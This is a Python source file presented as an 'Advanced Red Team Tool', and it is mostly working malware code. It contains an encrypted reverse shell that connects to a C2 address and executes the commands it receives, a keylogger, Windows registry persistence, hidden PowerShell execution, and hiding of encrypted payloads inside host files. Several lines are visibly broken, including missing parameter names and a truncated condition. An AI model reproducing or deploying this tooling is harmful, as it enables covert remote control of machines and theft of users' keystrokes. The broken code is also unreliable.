ysn-rfd/text-dataset-tiny-code-script-py-format

1
2"""
3Advanced Red Team Tool - Modular, Extensible, and Secure
4
5Features:
6- AES Encryption (CBC/GCM)
7- Steganographic Payload Embedding
8- Encrypted Reverse Shell
9- Keylogger with Encrypted Logging
10- Multiple Persistence Techniques
11- Stealth PowerShell Execution
12"""
13
14import os
15import sys
16import socket
17import argparse
18import logging
19import json
20import time
21import threading
22from typing import Optional, Union, List, Dict
23from Crypto.Cipher import AES
24from Crypto.Random import get_random_bytes
25from Crypto.Protocol.KDF import PBKDF2
26from Crypto.Util.Padding import pad, unpad
27from Crypto.Util import Counter
28from Crypto import Random
29import ctypes
30import winreg
31import subprocess
32from pynput import keyboard
33import tempfile
34import base64
35
36# Configure Logging
37logging.basicConfig(
38    level=logging.INFO,
39    format="%(asctime)s [%(levelname)s] %(message)s",
40    handlers=[logging.StreamHandler(sys.stdout)]
41)
42
43# Global Constants
44DEFAULT_CONFIG = {
45    "default_ip": "127.0.0.1",
46    "default_port": 4444,
47    "persistence_name": "YSN_RedKill",
48    "marker": b"YSNRFD_PAYLOAD"
49}
50
51# -------------------------------
52# AES Cipher Class
53# -------------------------------
54
55class AESCipher:
56    def __init__(self, key: bytes, mode: str = "CBC"):
57        self.key = key
58        self.mode = mode.upper()
59        self.block_size = AES.block_size
60
61    def _get_cipher(self, iv: Optional[bytes] = None) -> AES:
62        if self.mode == "CBC":
63            if iv is None:
64                iv = get_random_bytes(self.block_size)
65            return AES.new(self.key, AES.MODE_CBC, iv), iv
66        elif self.mode == "GCM":
67            nonce = get_random_bytes(12)
68            return AES.new(self.key, AES.MODE_GCM, nonce=nonce), nonce
69        else:
70            raise ValueError(f"Unsupported mode: {self.mode}")
71
72    def encrypt(self,  bytes) -> bytes:
73        if self.mode == "CBC":
74            cipher, iv = self._get_cipher()
75            return iv + cipher.encrypt(pad(data, self.block_size))
76        elif self.mode == "GCM":
77            cipher, nonce = self._get_cipher()
78            ciphertext, tag = cipher.encrypt_and_digest(data)
79            return nonce + tag + ciphertext
80
81    def decrypt(self,  bytes) -> bytes:
82        if self.mode == "CBC":
83            iv = data[:self.block_size]
84            cipher = AES.new(self.key, AES.MODE_CBC, iv)
85            return unpad(cipher.decrypt(data[self.block_size:]), self.block_size)
86        elif self.mode == "GCM":
87            nonce = data[:12]
88            tag = data[12:28]
89            ciphertext = data[28:]
90            cipher = AES.new(self.key, AES.MODE_GCM, nonce=nonce)
91            return cipher.decrypt_and_verify(ciphertext, tag)
92
93    @staticmethod
94    def derive_key(password: str, salt: bytes = b"YSN_SALT", dk_len: int = 32) -> bytes:
95        return PBKDF2(password, salt, dkLen=dk_len, count=1000000)
96
97    def save_key(self, path: str, password: Optional[str] = None):
98        if password:
99            derived = self.derive_key(password)
100            cipher = AESCipher(derived, mode="CBC")
101            encrypted = cipher.encrypt(self.key)
102            with open(path, "wb") as f:
103                f.write(encrypted)
104        else:
105            with open(path, "wb") as f:
106                f.write(self.key)
107
108    @classmethod
109    def load_key(cls, path: str, password: Optional[str] = None) -> "AESCipher":
110        with open(path, "rb") as f:
111            raw = f.read()
112        if password:
113            derived = cls.derive_key(password)
114            cipher = AESCipher(derived, mode="CBC")
115            key = cipher.decrypt(raw)
116        else:
117            key = raw
118        return cls(key)
119
120# -------------------------------
121# Steganographic Payload Embedder
122# -------------------------------
123
124class PayloadEmbedder:
125    def __init__(self, cipher: AESCipher, marker: bytes = DEFAULT_CONFIG["marker"]):
126        self.cipher = cipher
127        self.marker = marker
128
129    def embed(self, host_path: str, payload_path: str, output_path: str):
130        try:
131            with open(host_path, "rb") as f:
132                host_data = f.read()
133            with open(payload_path, "rb") as f:
134                payload_data = f.read()
135            encrypted = self.cipher.encrypt(payload_data)
136            with open(output_path, "wb") as f:
137                f.write(host_data + self.marker + encrypted)
138            logging.info(f"[+] Payload embedded in {output_path}")
139        except Exception as e:
140            logging.error(f"[-] Embed failed: {e}")
141
142    def extract(self, stego_path: str, output_path: str):
143        try:
144            with open(stego_path, "rb") as f:
145                data = f.read()
146            if self.marker not in 
147                logging.error("[-] Marker not found")
148                return False
149            payload = data.split(self.marker)[1]
150            decrypted = self.cipher.decrypt(payload)
151            with open(output_path, "wb") as f:
152                f.write(decrypted)
153            logging.info(f"[+] Payload extracted to {output_path}")
154            return True
155        except Exception as e:
156            logging.error(f"[-] Extraction failed: {e}")
157            return False
158
159# -------------------------------
160# Reverse Shell (Encrypted)
161# -------------------------------
162
163class EncryptedReverseShell:
164    def __init__(self, ip: str, port: int, cipher: AESCipher):
165        self.ip = ip
166        self.port = port
167        self.cipher = cipher
168
169    def start(self):
170        try:
171            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
172            s.connect((self.ip, self.port))
173            logging.info(f"[*] Connected to {self.ip}:{self.port}")
174            while True:
175                enc_cmd = s.recv(4096)
176                if not enc_cmd:
177                    break
178                cmd = self.cipher.decrypt(enc_cmd).decode()
179                if cmd.lower() in ['exit', 'quit']:
180                    break
181                try:
182                    output = subprocess.run(cmd.split(), capture_output=True, timeout=10)
183                    enc_out = self.cipher.encrypt(output.stdout or output.stderr)
184                    s.send(enc_out)
185                except Exception as e:
186                    s.send(self.cipher.encrypt(str(e).encode()))
187            s.close()
188        except Exception as e:
189            logging.error(f"[-] Reverse shell error: {e}")
190
191def start_reverse_shell_thread(ip: str, port: int, cipher: AESCipher):
192    thread = threading.Thread(target=EncryptedReverseShell(ip, port, cipher).start, daemon=True)
193    thread.start()
194    logging.info(f"[*] Reverse shell thread started connecting to {ip}:{port}")
195
196# -------------------------------
197# Persistence Techniques
198# -------------------------------
199
200class PersistenceManager:
201    @staticmethod
202    def add_registry(name: str, path: str):
203        try:
204            key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
205                                 r"Software\Microsoft\Windows\CurrentVersion\Run", 0,
206                                 winreg.KEY_SET_VALUE)
207            winreg.SetValueEx(key, name, 0, winreg.REG_SZ, path)
208            winreg.CloseKey(key)
209            logging.info(f"[*] Added registry persistence: {name}")
210        except Exception as e:
211            logging.error(f"[-] Registry persistence failed: {e}")
212
213    @staticmethod
214    def add_startup(name: str, path: str):
215        startup_folder = os.path.join(os.environ["APPDATA"], r"Microsoft\Windows\Start Menu\Programs\Startup")
216        shortcut_path = os.path.join(startup_folder, f"{name}.lnk")
217        # Create shortcut logic here (requires pywin32 or similar)
218        logging.info(f"[*] Added startup persistence: {shortcut_path}")
219
220# -------------------------------
221# Keylogger (Encrypted Logs)
222# -------------------------------
223
224def start_keylogger(output: str = "keylog.enc", password: str = "logpass"):
225    cipher = AESCipher.derive_key(password)
226    enc_cipher = AESCipher(cipher)
227
228    def on_press(key):
229        try:
230            char = key.char
231        except AttributeError:
232            char = str(key)
233        encrypted = enc_cipher.encrypt(char.encode())
234        with open(output, "ab") as f:
235            f.write(encrypted + b"\n")
236
237    listener = keyboard.Listener(on_press=on_press)
238    listener.start()
239    logging.info("[*] Keylogger started.")
240
241# -------------------------------
242# PowerShell Execution
243# -------------------------------
244
245def run_powershell_script(script: str):
246    try:
247        tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".ps1")
248        tmp.write(script.encode())
249        tmp.close()
250        subprocess.Popen(["powershell", "-WindowStyle", "Hidden", "-File", tmp.name],
251                         stdout=subprocess.DEVNULL,
252                         stderr=subprocess.DEVNULL,
253                         stdin=subprocess.DEVNULL)
254        logging.info("[*] PowerShell script executed.")
255        os.unlink(tmp.name)
256    except Exception as e:
257        logging.error(f"[-] PowerShell execution failed: {e}")
258
259# -------------------------------
260# CLI Interface
261# -------------------------------
262
263def main():
264    parser = argparse.ArgumentParser(description="Advanced Red Team Tool")
265    subparsers = parser.add_subparsers(dest="command")
266
267    # Embed Command
268    embed_parser = subparsers.add_parser("embed", help="Embed payload into host file")
269    embed_parser.add_argument("--host", required=True, help="Path to host file")
270    embed_parser.add_argument("--payload", required=True, help="Path to payload executable")
271    embed_parser.add_argument("--output", required=True, help="Output stego file")
272    embed_parser.add_argument("--key", help="Path to encryption key file")
273    embed_parser.add_argument("--password", help="Password to derive key from")
274
275    # Extract Command
276    extract_parser = subparsers.add_parser("extract", help="Extract payload from stego file")
277    extract_parser.add_argument("--stego", required=True, help="Path to stego file")
278    extract_parser.add_argument("--output", required=True, help="Output payload path")
279    extract_parser.add_argument("--key", required=True, help="Path to encryption key file")
280    extract_parser.add_argument("--password", help="Password for key decryption")
281
282    # Reverse Shell
283    shell_parser = subparsers.add_parser("shell", help="Start encrypted reverse shell")
284    shell_parser.add_argument("--ip", default=DEFAULT_CONFIG["default_ip"], help="C2 IP")
285    shell_parser.add_argument("--port", type=int, default=DEFAULT_CONFIG["default_port"], help="C2 Port")
286    shell_parser.add_argument("--key", required=True, help="Path to encryption key file")
287    shell_parser.add_argument("--password", help="Password for key decryption")
288
289    # Keylogger
290    keylog_parser = subparsers.add_parser("keylog", help="Start encrypted keylogger")
291    keylog_parser.add_argument("--output", default="keylog.enc", help="Output log file")
292    keylog_parser.add_argument("--password", default="logpass", help="Password for log encryption")
293
294    # PowerShell
295    ps_parser = subparsers.add_parser("powershell", help="Execute PowerShell script")
296    ps_parser.add_argument("--script", required=True, help="PowerShell script content")
297
298    # Persistence
299    persist_parser = subparsers.add_parser("persistence", help="Add persistence")
300    persist_parser.add_argument("--name", default=DEFAULT_CONFIG["persistence_name"], help="Name for persistence entry")
301    persist_parser.add_argument("--path", required=True, help="Path to executable")
302
303    args = parser.parse_args()
304
305    if args.command == "embed":
306        if args.password:
307            key = AESCipher.derive_key(args.password)
308            cipher = AESCipher(key)
309        elif args.key:
310            cipher = AESCipher.load_key(args.key)
311        else:
312            cipher = AESCipher(get_random_bytes(32))
313            cipher.save_key("default.key")
314            logging.warning("[!] No key provided. Generated default.key")
315        embedder = PayloadEmbedder(cipher)
316        embedder.embed(args.host, args.payload, args.output)
317
318    elif args.command == "extract":
319        cipher = AESCipher.load_key(args.key, password=args.password)
320        embedder = PayloadEmbedder(cipher)
321        embedder.extract(args.stego, args.output)
322
323    elif args.command == "shell":
324        cipher = AESCipher.load_key(args.key, password=args.password)
325        start_reverse_shell_thread(args.ip, args.port, cipher)
326
327    elif args.command == "keylog":
328        start_keylogger(args.output, args.password)
329
330    elif args.command == "powershell":
331        run_powershell_script(args.script)
332
333    elif args.command == "persistence":
334        PersistenceManager.add_registry(args.name, args.path)
335
336    else:
337        parser.print_help()
338
339if __name__ == "__main__":
340    main()